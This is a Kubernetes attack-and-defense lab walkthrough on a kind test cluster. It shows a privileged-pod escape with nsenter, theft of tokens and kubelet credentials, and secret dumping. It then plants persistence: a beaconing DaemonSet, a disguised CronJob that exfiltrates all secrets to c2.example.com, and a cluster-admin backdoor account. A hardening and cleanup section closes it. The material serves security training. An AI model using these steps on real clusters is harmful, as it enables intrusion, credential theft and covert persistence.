Lab 27: Kubernetes Attack & Defense — Pod Escape to Cluster Takeover¶

# Lab Environment — Use minikube, kind, or a dedicated test cluster (SYNTHETIC)
# This lab requires a Kubernetes cluster with intentional misconfigurations.
# Recommended: kind (Kubernetes in Docker) for safe isolated testing.

# Create a 3-node cluster with kind (SYNTHETIC)
$ cat <<EOF > kind-config.yaml
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
  - role: control-plane
  - role: worker
  - role: worker
  - role: worker
networking:
  podSubnet: "10.50.128.0/17"
  serviceSubnet: "10.50.64.0/18"
EOF

$ kind create cluster --name prod-east-01 --config kind-config.yaml
Creating cluster "prod-east-01" ...
 ✓ Ensuring node image (kindest/node:v1.28.0)
 ✓ Preparing nodes
 ✓ Writing configuration
 ✓ Starting control-plane
 ✓ Installing CNI
 ✓ Installing StorageClass
 ✓ Joining worker nodes
Set kubectl context to "kind-prod-east-01"

# Verify cluster connectivity (SYNTHETIC)
$ kubectl cluster-info
Kubernetes control plane is running at https://10.50.0.10:6443
CoreDNS is running at https://10.50.0.10:6443/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

$ kubectl get nodes
NAME                          STATUS   ROLES           AGE   VERSION
prod-east-01-control-plane    Ready    control-plane   2m    v1.28.0
prod-east-01-worker           Ready    <none>          90s   v1.28.0
prod-east-01-worker2          Ready    <none>          90s   v1.28.0
prod-east-01-worker3          Ready    <none>          90s   v1.28.0

# Deploy the intentionally misconfigured lab environment (SYNTHETIC)
# This creates namespaces, RBAC roles, and vulnerable workloads

$ kubectl create namespace frontend
$ kubectl create namespace backend
$ kubectl create namespace monitoring
$ kubectl create namespace cicd
$ kubectl create namespace backup
$ kubectl create namespace database

# Deploy a privileged pod (the vulnerable entry point) (SYNTHETIC)
$ cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: webapp-vuln
  namespace: frontend
  labels:
    app: webapp
spec:
  serviceAccountName: webapp-sa
  containers:
  - name: webapp
    image: registry.acme.example:5000/webapp:1.4.2
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory
EOF
pod/webapp-vuln created

# Create overly permissive ClusterRoleBinding (SYNTHETIC)
$ cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: monitor-cluster-wide
subjects:
- kind: ServiceAccount
  name: monitor-sa
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF
clusterrolebinding.rbac.authorization.k8s.io/monitor-cluster-wide created

# From inside the compromised webapp-vuln pod (SYNTHETIC)
# Kubernetes automatically mounts a service account token
$ ls -la /var/run/secrets/kubernetes.io/serviceaccount/
total 4
drwxrwxrwt 3 root root 140 Apr  7 08:15 .
drwxr-xr-x 3 root root  40 Apr  7 08:15 ..
lrwxrwxrwx 1 root root  13 Apr  7 08:15 ca.crt -> ..data/ca.crt
lrwxrwxrwx 1 root root  16 Apr  7 08:15 namespace -> ..data/namespace
lrwxrwxrwx 1 root root  12 Apr  7 08:15 token -> ..data/token

# Read the service account token (SYNTHETIC)
$ TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
$ CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
$ APISERVER=https://kubernetes.default.svc

# Test API access — get current pod's permissions (SYNTHETIC)
$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    $APISERVER/api/v1/namespaces/frontend/pods | jq '.items[].metadata.name'
"webapp-vuln"
"webapp-frontend-7d8f9c6b4a-x2k9m"
"webapp-frontend-7d8f9c6b4a-p4n7j"

# Check what permissions this service account has (SYNTHETIC)
$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    $APISERVER/apis/authorization.k8s.io/v1/selfsubjectaccessreviews \
    -X POST -H "Content-Type: application/json" \
    -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectAccessReview","spec":{"resourceAttributes":{"namespace":"frontend","verb":"list","resource":"secrets"}}}' \
    | jq '.status'
{
  "allowed": true,
  "reason": ""
}

# Enumerate all namespaces (SYNTHETIC)
$ curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
    $APISERVER/api/v1/namespaces | jq '.items[].metadata.name'
"default"
"frontend"
"backend"
"monitoring"
"cicd"
"backup"
"database"
"kube-system"
"kube-public"
"kube-node-lease"

# List all pods across all namespaces (SYNTHETIC)
$ kubectl --token=$TOKEN get pods --all-namespaces
NAMESPACE     NAME                                          READY   STATUS    RESTARTS   AGE
frontend      webapp-vuln                                   1/1     Running   0          15m
frontend      webapp-frontend-7d8f9c6b4a-x2k9m             1/1     Running   0          15m
frontend      webapp-frontend-7d8f9c6b4a-p4n7j             1/1     Running   0          15m
backend       api-server-5c9d8e7f6b-m3k2n                  1/1     Running   0          15m
backend       api-server-5c9d8e7f6b-j8h4p                  1/1     Running   0          15m
database      postgres-primary-0                            1/1     Running   0          15m
database      redis-cache-6f7a8b9c0d-q5w2e                 1/1     Running   0          15m
monitoring    prometheus-server-0                           1/1     Running   0          15m
monitoring    grafana-4d5e6f7a8b-r9t1y                     1/1     Running   0          15m
cicd          jenkins-controller-0                          1/1     Running   0          15m
backup        velero-7a8b9c0d1e-u3i5o                      1/1     Running   0          15m
kube-system   coredns-5d78c9869d-abc12                      1/1     Running   0          20m
kube-system   etcd-prod-east-01-control-plane               1/1     Running   0          20m
kube-system   kube-apiserver-prod-east-01-control-plane     1/1     Running   0          20m

# Find privileged pods — high-value targets for escape (SYNTHETIC)
$ kubectl get pods --all-namespaces -o json | \
    jq -r '.items[] | select(.spec.containers[].securityContext.privileged==true) |
    "\(.metadata.namespace)/\(.metadata.name)"'
frontend/webapp-vuln
monitoring/prometheus-server-0

# Check for pods with hostPID or hostNetwork (SYNTHETIC)
$ kubectl get pods --all-namespaces -o json | \
    jq -r '.items[] | select(.spec.hostPID==true or .spec.hostNetwork==true) |
    "\(.metadata.namespace)/\(.metadata.name) hostPID=\(.spec.hostPID) hostNetwork=\(.spec.hostNetwork)"'
monitoring/prometheus-server-0 hostPID=true hostNetwork=false

# List service accounts with secrets mounted (SYNTHETIC)
$ kubectl get pods --all-namespaces -o json | \
    jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) sa=\(.spec.serviceAccountName)"'
frontend/webapp-vuln sa=webapp-sa
frontend/webapp-frontend-7d8f9c6b4a-x2k9m sa=default
backend/api-server-5c9d8e7f6b-m3k2n sa=api-sa
monitoring/prometheus-server-0 sa=monitor-sa
cicd/jenkins-controller-0 sa=cicd-deployer
backup/velero-7a8b9c0d1e-u3i5o sa=backup-sa

# Confirm we are running as privileged (SYNTHETIC)
$ cat /proc/1/status | grep -i cap
CapInh: 0000003fffffffff
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

# All capabilities are set — this container is fully privileged

# Verify host filesystem is mounted (SYNTHETIC)
$ ls /host/etc/hostname
/host/etc/hostname

$ cat /host/etc/hostname
node02.acme.example

# Use nsenter to break into the host's PID namespace (SYNTHETIC)
# PID 1 on the host is the init process
$ nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# We are now running as root on the worker node (SYNTHETIC)
root@node02:~# whoami
root

root@node02:~# hostname
node02.acme.example

root@node02:~# ip addr show eth0
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:0a:32:01:0c brd ff:ff:ff:ff:ff:ff
    inet 10.50.1.12/24 brd 10.50.1.255 scope global eth0
       valid_lft forever preferred_lft forever

# Read the kubelet configuration on the host (SYNTHETIC)
root@node02:~# cat /var/lib/kubelet/config.yaml | grep -A5 authentication
authentication:
  anonymous:
    enabled: false
  webhook:
    cacheTTL: 2m0s
    enabled: true

# Extract the kubelet client certificate (SYNTHETIC)
root@node02:~# ls /var/lib/kubelet/pki/
kubelet-client-current.pem  kubelet.crt  kubelet.key

# Use the kubelet cert to authenticate to the API server (SYNTHETIC)
root@node02:~# curl -s --cert /var/lib/kubelet/pki/kubelet-client-current.pem \
    --key /var/lib/kubelet/pki/kubelet.key \
    --cacert /etc/kubernetes/pki/ca.crt \
    https://10.50.0.10:6443/api/v1/nodes | jq '.items[].metadata.name'
"prod-east-01-control-plane"
"prod-east-01-worker"
"prod-east-01-worker2"
"prod-east-01-worker3"

# From the escaped node, use the kubelet cert to query RBAC (SYNTHETIC)
root@node02:~# KUBECONFIG=/etc/kubernetes/kubelet.conf kubectl get clusterrolebindings \
    -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") |
    "\(.metadata.name): \(.subjects[].kind)/\(.subjects[].name) in \(.subjects[].namespace)"'
cluster-admin: User/kubernetes-admin in <nil>
monitor-cluster-wide: ServiceAccount/monitor-sa in monitoring
system:masters: Group/system:masters in <nil>

# The monitor-sa service account has cluster-admin — jackpot (SYNTHETIC)

# List secrets in the monitoring namespace (SYNTHETIC)
root@node02:~# KUBECONFIG=/etc/kubernetes/kubelet.conf kubectl get secrets \
    -n monitoring
NAME                     TYPE                                  DATA   AGE
monitor-sa-token-x7k2m   kubernetes.io/service-account-token   3      45m
prometheus-config         Opaque                                2      45m
grafana-admin-creds       Opaque                                2      45m
alertmanager-webhook      Opaque                                1      45m

# Extract the monitor-sa token (SYNTHETIC)
root@node02:~# KUBECONFIG=/etc/kubernetes/kubelet.conf kubectl get secret \
    monitor-sa-token-x7k2m -n monitoring -o jsonpath='{.data.token}' | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6IlJFREFDVEVEIn0.REDACTED_TOKEN_PAYLOAD.REDACTED_SIGNATURE

$ export ADMIN_TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6IlJFREFDVEVEIn0.REDACTED_TOKEN_PAYLOAD.REDACTED_SIGNATURE"

# With cluster-admin, read secrets from all namespaces (SYNTHETIC)
$ kubectl --token=$ADMIN_TOKEN get secrets --all-namespaces \
    --field-selector type=Opaque -o json | \
    jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)"'
backend/api-db-credentials
backend/jwt-signing-key
database/postgres-admin-password
database/redis-auth-token
cicd/docker-registry-creds
cicd/github-deploy-key
backup/cloud-storage-key
frontend/tls-cert-prod
monitoring/grafana-admin-creds

# Decode a secret (SYNTHETIC)
$ kubectl --token=$ADMIN_TOKEN get secret api-db-credentials \
    -n backend -o jsonpath='{.data.password}' | base64 -d
REDACTED_DB_PASSWORD_SYNTHETIC

$ kubectl --token=$ADMIN_TOKEN get secret postgres-admin-password \
    -n database -o jsonpath='{.data.POSTGRES_PASSWORD}' | base64 -d
REDACTED_POSTGRES_PASSWORD_SYNTHETIC

# Deploy a DaemonSet that runs on every node (SYNTHETIC)
$ cat <<EOF | kubectl --token=$ADMIN_TOKEN apply -f -
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: node-monitor-agent
  namespace: kube-system
  labels:
    app: node-monitor
    k8s-app: node-monitor
spec:
  selector:
    matchLabels:
      app: node-monitor
  template:
    metadata:
      labels:
        app: node-monitor
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: monitor
        image: registry.acme.example:5000/node-monitor:1.0
        securityContext:
          privileged: true
        command: ["/bin/sh", "-c"]
        args:
        - |
          while true; do
            curl -s http://c2.example.com:8443/beacon \
              -d "node=$(hostname)&ip=$(hostname -I)" 2>/dev/null
            sleep 300
          done
        volumeMounts:
        - name: host-root
          mountPath: /host
      volumes:
      - name: host-root
        hostPath:
          path: /
      tolerations:
      - operator: Exists
EOF
daemonset.apps/node-monitor-agent created

# Verify it deployed to all nodes (SYNTHETIC)
$ kubectl --token=$ADMIN_TOKEN get pods -n kube-system -l app=node-monitor -o wide
NAME                       READY   STATUS    RESTARTS   AGE   IP           NODE
node-monitor-agent-a1b2c   1/1     Running   0          30s   10.50.1.11   prod-east-01-worker
node-monitor-agent-d3e4f   1/1     Running   0          30s   10.50.1.12   prod-east-01-worker2
node-monitor-agent-g5h6i   1/1     Running   0          30s   10.50.1.13   prod-east-01-worker3
node-monitor-agent-j7k8l   1/1     Running   0          30s   10.50.0.10   prod-east-01-control-plane

# Create a CronJob that exfiltrates secrets every 6 hours (SYNTHETIC)
$ cat <<EOF | kubectl --token=$ADMIN_TOKEN apply -f -
apiVersion: batch/v1
kind: CronJob
metadata:
  name: log-rotation-job
  namespace: kube-system
  labels:
    app: log-rotation
spec:
  schedule: "0 */6 * * *"
  jobTemplate:
    spec:
      template:
        spec:
          serviceAccountName: cluster-admin-sa
          containers:
          - name: log-rotate
            image: registry.acme.example:5000/log-rotate:2.1
            command: ["/bin/sh", "-c"]
            args:
            - |
              kubectl get secrets --all-namespaces -o json | \
                curl -s -X POST http://c2.example.com:8443/exfil \
                -H "Content-Type: application/json" -d @- 2>/dev/null
          restartPolicy: OnFailure
EOF
cronjob.batch/log-rotation-job created

# Create a new service account with cluster-admin for re-entry (SYNTHETIC)
$ kubectl --token=$ADMIN_TOKEN create serviceaccount backdoor-sa -n kube-system
serviceaccount/backdoor-sa created

$ cat <<EOF | kubectl --token=$ADMIN_TOKEN apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: emergency-access-binding
subjects:
- kind: ServiceAccount
  name: backdoor-sa
  namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io
EOF
clusterrolebinding.rbac.authorization.k8s.io/emergency-access-binding created

# Generate a long-lived token for the backdoor account (SYNTHETIC)
$ kubectl --token=$ADMIN_TOKEN create token backdoor-sa \
    -n kube-system --duration=8760h
eyJhbGciOiJSUzI1NiIsImtpZCI6IlJFREFDVEVEIn0.REDACTED_BACKDOOR_TOKEN.REDACTED_SIGNATURE

# Apply to all application namespaces (SYNTHETIC)
$ for ns in frontend backend database monitoring cicd backup; do
    kubectl label namespace $ns \
      pod-security.kubernetes.io/enforce=restricted \
      pod-security.kubernetes.io/audit=restricted \
      pod-security.kubernetes.io/warn=restricted \
      --overwrite
  done
namespace/frontend labeled
namespace/backend labeled
namespace/database labeled
namespace/monitoring labeled
namespace/cicd labeled
namespace/backup labeled

# Test: try to create a privileged pod (should be rejected) (SYNTHETIC)
$ kubectl apply -f webapp-vuln.yaml -n frontend
Error from server (Forbidden): error when creating "webapp-vuln.yaml":
pods "webapp-vuln" is forbidden: violates PodSecurity "restricted:latest":
  privileged (container "webapp" must not set securityContext.privileged=true),
  hostPath volumes (volume "host-root" must not use hostPath)

# Remove overly permissive ClusterRoleBinding (SYNTHETIC)
$ kubectl delete clusterrolebinding monitor-cluster-wide
clusterrolebinding.rbac.authorization.k8s.io "monitor-cluster-wide" deleted

# Create a scoped Role for monitoring (SYNTHETIC)
$ cat <<EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: monitoring-read-only
rules:
- apiGroups: [""]
  resources: ["pods", "nodes", "services", "endpoints"]
  verbs: ["get", "list", "watch"]
- apiGroups: ["apps"]
  resources: ["deployments", "replicasets", "daemonsets"]
  verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: monitoring-read-only-binding
subjects:
- kind: ServiceAccount
  name: monitor-sa
  namespace: monitoring
roleRef:
  kind: ClusterRole
  name: monitoring-read-only
  apiGroup: rbac.authorization.k8s.io
EOF
clusterrole.rbac.authorization.k8s.io/monitoring-read-only created
clusterrolebinding.rbac.authorization.k8s.io/monitoring-read-only-binding created

# Remove the backdoor (SYNTHETIC)
$ kubectl delete clusterrolebinding emergency-access-binding
$ kubectl delete serviceaccount backdoor-sa -n kube-system
$ kubectl delete daemonset node-monitor-agent -n kube-system
$ kubectl delete cronjob log-rotation-job -n kube-system